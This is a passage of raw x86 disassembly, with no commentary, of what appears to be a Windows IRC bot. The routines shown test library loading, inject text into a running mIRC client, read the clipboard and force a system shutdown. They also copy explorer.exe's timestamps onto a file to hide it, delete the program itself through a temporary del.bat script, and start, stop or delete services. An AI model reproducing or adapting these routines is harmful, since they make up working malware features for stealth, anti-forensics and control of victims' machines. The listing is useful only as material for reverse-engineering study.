		cmp	dword_42EC38, ebx
		jz	short loc_406AD6
		cmp	dword_42EB7C, ebx
		jz	short loc_406AD6
		cmp	dword_42EB44, ebx
		jz	short loc_406AD6
		cmp	dword_42EBD0, ebx
		jz	short loc_406AD6
		cmp	eax, ebx
		jnz	short loc_406AE0
		jmp	short loc_406AD6
; ---------------------------------------------------------------------------


loc_406ACB:				; CODE XREF: sub_405EFF+B4Ej
		call	ds:dword_41B060	; RtlGetLastWin32Error
		mov	dword_42ECD4, eax


loc_406AD6:				; CODE XREF: sub_405EFF+BA4j
					; sub_405EFF+BACj ...
		mov	dword_42ECD0, 1


loc_406AE0:				; CODE XREF: sub_405EFF+BC8j
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_405EFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_406AE8(int,char *Str,int,int)

sub_406AE8	proc near		; CODE XREF: sub_409557+4A6Bp

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+Str]
		push	esi
		xor	esi, esi
		cmp	dword_42EC70, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_406B30
		push	dword_42EC74
		lea	eax, [ebp+Dest]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		add	esp, 20h


loc_406B30:				; CODE XREF: sub_406AE8+1Aj
		cmp	dword_42EC78, esi
		jz	short loc_406B64
		push	dword_42EC7C
		lea	eax, [ebp+Dest]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		add	esp, 20h


loc_406B64:				; CODE XREF: sub_406AE8+4Ej
		cmp	dword_42EC80, esi
		jz	short loc_406B98
		push	dword_42EC84
		lea	eax, [ebp+Dest]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		add	esp, 20h


loc_406B98:				; CODE XREF: sub_406AE8+82j
		cmp	dword_42EC88, esi
		jz	short loc_406BCC
		push	dword_42EC8C
		lea	eax, [ebp+Dest]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		add	esp, 20h


loc_406BCC:				; CODE XREF: sub_406AE8+B6j
		cmp	dword_42EC90, esi
		jz	short loc_406C00
		push	dword_42EC94
		lea	eax, [ebp+Dest]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		add	esp, 20h


loc_406C00:				; CODE XREF: sub_406AE8+EAj
		cmp	dword_42EC98, esi
		jz	short loc_406C34
		push	dword_42EC9C
		lea	eax, [ebp+Dest]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		add	esp, 20h


loc_406C34:				; CODE XREF: sub_406AE8+11Ej
		cmp	dword_42ECA0, esi
		jz	short loc_406C68
		push	dword_42ECA4
		lea	eax, [ebp+Dest]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		add	esp, 20h


loc_406C68:				; CODE XREF: sub_406AE8+152j
		cmp	dword_42ECA8, esi
		jz	short loc_406C9C
		push	dword_42ECAC
		lea	eax, [ebp+Dest]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		add	esp, 20h


loc_406C9C:				; CODE XREF: sub_406AE8+186j
		cmp	dword_42ECB0, esi
		jz	short loc_406CD0
		push	dword_42ECB4
		lea	eax, [ebp+Dest]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		add	esp, 20h


loc_406CD0:				; CODE XREF: sub_406AE8+1BAj
		cmp	dword_42ECB8, esi
		jz	short loc_406D04
		push	dword_42ECBC
		lea	eax, [ebp+Dest]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		add	esp, 20h


loc_406D04:				; CODE XREF: sub_406AE8+1EEj
		cmp	dword_42ECC0, esi
		jz	short loc_406D38
		push	dword_42ECC4
		lea	eax, [ebp+Dest]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		add	esp, 20h


loc_406D38:				; CODE XREF: sub_406AE8+222j
		cmp	dword_42ECC8, esi
		jz	short loc_406D6C
		push	dword_42ECCC
		lea	eax, [ebp+Dest]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		add	esp, 20h


loc_406D6C:				; CODE XREF: sub_406AE8+256j
		cmp	dword_42ECD0, esi
		jz	short loc_406DA0
		push	dword_42ECD4
		lea	eax, [ebp+Dest]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		add	esp, 20h


loc_406DA0:				; CODE XREF: sub_406AE8+28Aj
		lea	eax, [ebp+Dest]
		push	offset aMainDllTestCom ; "[MAIN]: DLL test complete."
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_406DCD
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		add	esp, 14h


loc_406DCD:				; CODE XREF: sub_406AE8+2CEj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406AE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_406DDF(char *Src,char	*SubStr,char *Source)

sub_406DDF	proc near		; CODE XREF: sub_409557+93Dp
					; sub_409557+971p ...

Src		= dword	ptr  8
SubStr		= dword	ptr  0Ch
Source		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+Src]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_406E6A
		mov	eax, [ebp+SubStr]
		cmp	eax, esi
		jz	short loc_406E6A
		cmp	[ebp+Source], esi
		jz	short loc_406E6A
		cmp	byte ptr [eax],	0
		jz	short loc_406E6A
		push	ebx
		push	edi		; Src
		call	__strdup
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_406E65
		push	[ebp+SubStr]	; SubStr
		push	edi		; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_406E5E
		sub	eax, edi
		push	eax		; Count
		push	edi		; Source
		push	ebx		; Dest
		call	_strncpy
		push	[ebp+Source]	; Str
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	_strlen
		push	eax		; Count
		push	[ebp+Source]	; Source
		push	ebx		; Dest
		call	_strncat
		push	[ebp+SubStr]	; Str
		call	_strlen
		add	eax, esi
		push	eax		; Source
		push	ebx		; Dest
		call	_strcat
		push	ebx		; Source
		push	edi		; Dest
		call	_strcpy
		add	esp, 30h
		mov	esi, edi


loc_406E5E:				; CODE XREF: sub_406DDF+3Cj
		push	ebx		; Memory
		call	_free
		pop	ecx


loc_406E65:				; CODE XREF: sub_406DDF+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_406E6C
; ---------------------------------------------------------------------------


loc_406E6A:				; CODE XREF: sub_406DDF+Cj
					; sub_406DDF+13j ...
		xor	eax, eax


loc_406E6C:				; CODE XREF: sub_406DDF+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_406DDF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_406E70(char *Str,int)

sub_406E70	proc near		; CODE XREF: sub_405C73+F4p
					; sub_4093DF+E9p

Dst		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		mov	esi, [ebp+Str]
		push	esi		; Str
		call	_strlen
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_406EA6
		or	eax, 0FFFFFFFFh
		jmp	short loc_406F19
; ---------------------------------------------------------------------------


loc_406EA6:				; CODE XREF: sub_406E70+2Fj
		xor	ecx, ecx
		mov	[ebp+Dst], esi
		test	eax, eax
		jle	short loc_406EC8


loc_406EB2:				; CODE XREF: sub_406E70+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_406EBF
		cmp	dl, 0Dh
		jnz	short loc_406EC3


loc_406EBF:				; CODE XREF: sub_406E70+48j
		and	byte ptr [ecx+esi], 0


loc_406EC3:				; CODE XREF: sub_406E70+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_406EB2


loc_406EC8:				; CODE XREF: sub_406E70+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_406EF9
		lea	edi, [ebp+var_7CC]


loc_406ED5:				; CODE XREF: sub_406E70+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_406EF4
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_406EF4
		cmp	ebx, 1F4h
		jge	short loc_406EF9
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_406EF4:				; CODE XREF: sub_406E70+69j
					; sub_406E70+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_406ED5


loc_406EF9:				; CODE XREF: sub_406E70+5Dj
					; sub_406E70+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_406F17
		lea	eax, [ebp+Dst]
		push	7D0h		; Size
		push	eax		; Src
		push	[ebp+arg_4]	; Dst
		call	_memcpy
		add	esp, 0Ch


loc_406F17:				; CODE XREF: sub_406E70+8Ej
		mov	eax, ebx


loc_406F19:				; CODE XREF: sub_406E70+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_406E70	endp


; =============== S U B	R O U T	I N E =======================================



sub_406F1D	proc near		; CODE XREF: sub_406F77+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_406F56
		push	ebx
		mov	ebx, edi


loc_406F3A:				; CODE XREF: sub_406F1D+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_406F59
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_406F3A
		pop	ebx


loc_406F56:				; CODE XREF: sub_406F1D+18j
		pop	edi
		pop	esi
		retn
sub_406F1D	endp


; =============== S U B	R O U T	I N E =======================================



sub_406F59	proc near		; CODE XREF: sub_406F1D+25p
					; sub_406F77+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax		; C
		call	_tolower	; _tolower
		cmp	al, 61h
		pop	ecx
		jl	short loc_406F74
		cmp	al, 7Ah
		jg	short loc_406F74
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_406F74:				; CODE XREF: sub_406F59+Ej
					; sub_406F59+12j
		xor	eax, eax
		retn
sub_406F59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_406F77(char *Str,int)

sub_406F77	proc near		; CODE XREF: sub_402E43+10p
					; sub_402E75+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	__alloca_probe
		push	ebx
		push	esi
		push	edi
		push	[ebp+Str]	; Str
		call	_strlen
		push	[ebp+arg_4]	; Str
		mov	[ebp+var_4], eax
		call	_strlen
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_406F1D
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_406FB5:				; CODE XREF: sub_406F77+B6j
		test	esi, esi
		jle	short loc_407033
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax		; C
		call	_tolower	; _tolower
		mov	ebx, eax
		mov	eax, [ebp+Str]
		movsx	eax, byte ptr [edi+eax]
		push	eax		; C
		call	_tolower	; _tolower
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40702B


loc_406FDB:				; CODE XREF: sub_406F77+B2j
		mov	ebx, [ebp+Str]
		mov	al, [edi+ebx]
		push	eax
		call	sub_406F59
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_406FFC
		mov	eax, ecx


loc_406FFC:				; CODE XREF: sub_406F77+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_40702F
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax		; C
		call	_tolower	; _tolower
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax		; C
		mov	[ebp+var_8], edx
		call	_tolower	; _tolower
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_406FDB


loc_40702B:				; CODE XREF: sub_406F77+62j
		dec	edi
		dec	esi
		jmp	short loc_406FB5
; ---------------------------------------------------------------------------


loc_40702F:				; CODE XREF: sub_406F77+8Aj
		xor	eax, eax
		jmp	short loc_407038
; ---------------------------------------------------------------------------


loc_407033:				; CODE XREF: sub_406F77+40j
		mov	eax, [ebp+Str]
		add	eax, edi


loc_407038:				; CODE XREF: sub_406F77+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406F77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40703D	proc near		; CODE XREF: sub_409557+34DAp
					; sub_409557+3E83p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	ds:dword_41B060	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	ds:dword_41B0D0	; FormatMessageA
		lea	eax, [ebp+var_100]


loc_407076:				; CODE XREF: sub_40703D+46j
		mov	cl, [eax]
		cmp	cl, 1Fh


loc_40707B:				; DATA XREF: .data:0041E4C0o
					; .data:0041E4D4o ...
		jg	short loc_407082
		cmp	cl, 9
		jnz	short loc_407085


loc_407082:				; CODE XREF: sub_40703D:loc_40707Bj
		inc	eax
		jmp	short loc_407076
; ---------------------------------------------------------------------------


loc_407085:				; CODE XREF: sub_40703D+43j
					; sub_40703D+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_40709F
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_407085
		cmp	cl, 21h
		jl	short loc_407085


loc_40709F:				; CODE XREF: sub_40703D+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset byte_42ECE0
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h		; Count
		push	esi		; Dest
		call	__snprintf
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40703D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4070C7	proc near		; CODE XREF: sub_409557+49F7p
		push	esi
		push	0
		call	dword_42EB84	; OpenClipboard
		test	eax, eax
		jz	short loc_4070FE
		push	1
		call	dword_42EBA4	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_4070FE
		push	edi
		push	esi
		call	ds:dword_41B0D8	; GlobalLock
		push	esi
		mov	edi, eax
		call	ds:dword_41B0D4	; GlobalUnlock
		call	dword_42EC04	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4070FE:				; CODE XREF: sub_4070C7+Bj
					; sub_4070C7+19j
		xor	eax, eax
		pop	esi
		retn
sub_4070C7	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_407102(char *Format)

sub_407102	proc near		; CODE XREF: sub_409557+3E32p

Format		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_42EBC0	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_40717E
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	ds:dword_41B0E4	; CreateFileMappingA
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	ds:dword_41B0E0	; MapViewOfFile
		push	[esp+10h+Format] ; Format
		mov	ebx, eax
		push	ebx		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_42EC0C	; SendMessageA
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_42EC0C	; SendMessageA
		push	ebx
		call	ds:dword_41B0DC	; UnmapViewOfFile
		push	edi
		call	ds:dword_41B050	; CloseHandle
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_407180
; ---------------------------------------------------------------------------


loc_40717E:				; CODE XREF: sub_407102+16j
		xor	eax, eax


loc_407180:				; CODE XREF: sub_407102+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_407102	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407184	proc near		; CODE XREF: WinMain(x,x,x,x)+212p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_42EC6C	; SearchPathA
		test	eax, eax
		jz	short loc_407223
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, ds:dword_41B05C
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_407223
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	ds:dword_41B0EC	; GetFileTime
		push	ebx
		mov	ebx, ds:dword_41B050
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_407223
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	ds:dword_41B0E8	; SetFileTime
		push	esi
		call	ebx	; CloseHandle


loc_407223:				; CODE XREF: sub_407184+2Aj
					; sub_407184+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_407184	endp


; =============== S U B	R O U T	I N E =======================================



sub_407228	proc near		; CODE XREF: sub_409557+1014p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_408849
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_42EB0C	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_407228	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40724A	proc near		; CODE XREF: sub_403520+472p
					; sub_409557+4C67p

Str		= byte ptr -764h
var_364		= byte ptr -364h
Dest		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
Dst		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_424A5C, esi
		push	edi
		jz	short loc_40726E
		cmp	dword_42EC80, esi
		jnz	short loc_40726E
		push	esi		; Str
		call	sub_402FA4
		pop	ecx


loc_40726E:				; CODE XREF: sub_40724A+13j
					; sub_40724A+1Bj
		call	sub_411E03
		lea	eax, [ebp+Str]
		push	eax
		push	400h
		call	ds:dword_41B0F4	; GetTempPathA
		lea	eax, [ebp+Str]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		lea	eax, [ebp+Dest]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	ds:dword_41B05C	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4073CE
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Str]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	edi
		call	ds:dword_41B054	; WriteFile
		push	edi
		call	ds:dword_41B050	; CloseHandle
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi		; Size
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_428D64
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	ds:dword_41B0CC	; GetModuleHandleA
		push	eax
		call	ds:dword_41B068	; GetModuleFileNameA
		lea	eax, [ebp+var_15C]
		push	eax
		call	ds:dword_41B0A8	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_407376
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	ds:dword_41B000	; SetFileAttributesA


loc_407376:				; CODE XREF: sub_40724A+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Str]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		call	ds:dword_41B0F0	; ExpandEnvironmentStringsA
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	ds:dword_41B094	; CreateProcessA


loc_4073CE:				; CODE XREF: sub_40724A+72j
		pop	edi
		pop	esi
		leave
		retn
sub_40724A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4073D2	proc near		; CODE XREF: sub_409557:loc_40AE4Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_407437
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_4210E8[esi]
		push	edi
		push	eax
		call	sub_407459
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40741A
		push	edi
		push	off_4210E4[esi]
		mov	esi, offset byte_42F5A4
		push	offset aNetSServiceS_ ;	"[NET]:	%s service: '%s'."
		push	esi		; Dest
		call	_sprintf
		add	esp, 10h
		jmp	short loc_407454
; ---------------------------------------------------------------------------


loc_40741A:				; CODE XREF: sub_4073D2+2Aj
		push	eax
		call	sub_4074FB
		push	eax
		push	edi
		mov	esi, offset byte_42F5A4
		push	offset aNetErrorWithSe ; "[NET]: Error with service: '%s'. %s"
		push	esi		; Dest
		call	_sprintf
		add	esp, 14h
		jmp	short loc_407454
; ---------------------------------------------------------------------------


loc_407437:				; CODE XREF: sub_4073D2+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset byte_42F5A4
		push	off_4210E0[eax*4]
		push	offset aNetSNoServiceS ; "[NET]: %s: No	service	specified."
		push	esi		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_407454:				; CODE XREF: sub_4073D2+46j
					; sub_4073D2+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4073D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407459	proc near		; CODE XREF: sub_4073D2+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_42EBA8	; OpenSCManagerA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_407480
		call	ds:dword_41B060	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_4074F5
; ---------------------------------------------------------------------------


loc_407480:				; CODE XREF: sub_407459+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_42EAAC	; OpenServiceA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_4074A0
		call	ds:dword_41B060	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_4074ED
; ---------------------------------------------------------------------------


loc_4074A0:				; CODE XREF: sub_407459+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_4074D3
		cmp	eax, 3
		jz	short loc_4074C4
		jle	short loc_4074E6
		cmp	eax, 6
		jg	short loc_4074E6
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_42EB14	; ControlService
		jmp	short loc_4074DA
; ---------------------------------------------------------------------------


loc_4074C4:				; CODE XREF: sub_407459+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_42EAB4	; StartServiceA
		jmp	short loc_4074DA
; ---------------------------------------------------------------------------


loc_4074D3:				; CODE XREF: sub_407459+4Dj
		push	esi
		call	dword_42EB18	; DeleteService


loc_4074DA:				; CODE XREF: sub_407459+69j
					; sub_407459+78j
		test	eax, eax
		jnz	short loc_4074E6
